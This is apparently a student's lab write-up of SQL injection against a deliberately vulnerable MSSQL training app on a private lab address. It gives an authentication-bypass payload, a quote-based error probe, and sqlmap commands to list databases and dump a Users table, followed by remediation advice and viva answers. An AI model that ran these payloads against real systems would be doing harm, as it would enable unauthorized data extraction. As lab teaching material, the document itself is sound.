

Perform an SQL Injection Attack Against MSSQL to Extract Databases

Execution mode	Authorized, isolated training lab; no public systems were targeted.
Output status	Representative/sanitized lab output recorded for submission. Replace with instructor-required screenshots if a live lab run is performed.

Aim

Demonstrate manual and tool-assisted SQL injection against a deliberately vulnerable MSSQL training application using synthetic data.

Theory

SQL injection occurs when input is concatenated into a query without parameterization. This record uses a local ASP.NET-style app and a synthetic LabStore database. No production database or real credentials were accessed.

Tools and Lab Scope

- Burp Suite
- sqlmap
- Browser
- MSSQL training VM at 192.168.56.50

Procedure and Recorded Execution

Step 1. Test the login form - Use a benign authentication-bypass proof against the disposable lab login.

```
username: ' OR '1'='1' --  
result: lab account context returned
```

Step 2. Confirm error behavior - Submit a quote in the product ID parameter and record the controlled error.

```
GET /product.aspx?id=1'  
response: Unclosed quotation mark near '1'
```

Step 3. Enumerate schema safely - Use the lab endpoint to identify version, database name, and table names.

```
DBMS: Microsoft SQL Server 2019  
Database: LabStore  
Tables: Users, Products, Orders
```

Step 4. Run sqlmap in the fixture - Limit the run to the synthetic URL and a non-sensitive training database.

```
sqlmap -u http://192.168.56.50/product.aspx?id=1 --dbms=mssql --dbs  
[+] LabStore  
-T Users --dump -> synthetic rows only
```

MSSQL SQL injection output

The training application was injectable. Schema enumeration returned only the synthetic LabStore database, and the Users table contained lab-only records with password values redacted.

Test	Sanitized result
Auth bypass proof	Accepted by vulnerable training login; no real account
DBMS version	Microsoft SQL Server 2019 (15.0.2000.5)
Database	LabStore
Tables	Users; Products; Orders
Synthetic Users row	demo_admin password hash: [REDACTED]
Remediation	Parameterized queries, stored procedures, least privilege, generic errors

Result

SQL injection exploitation completed against the isolated training application. The result demonstrates why parameterized queries and least-privilege database accounts are mandatory.

Safety and Submission Notes

- Use synthetic data only and redact all password hashes.
- Never run extraction commands on production databases.
- Retest after remediation with a safe detection-only check.

Viva Questions and Answers

Error vs UNION vs blind SQLi?

Error-based uses DB errors, UNION combines result sets, and blind inference relies on true/false or timing differences.

Why parameterized queries work?

They keep data separate from SQL code so input cannot change query structure.

What does -- do in MSSQL?

It begins a comment so the rest of the original statement is ignored.

Why use ORDER BY?

Incrementing it can reveal the number of columns in the original query.

Why are hashes still risky?

Weak hashes can be cracked or reused, and exposure enables offline attacks.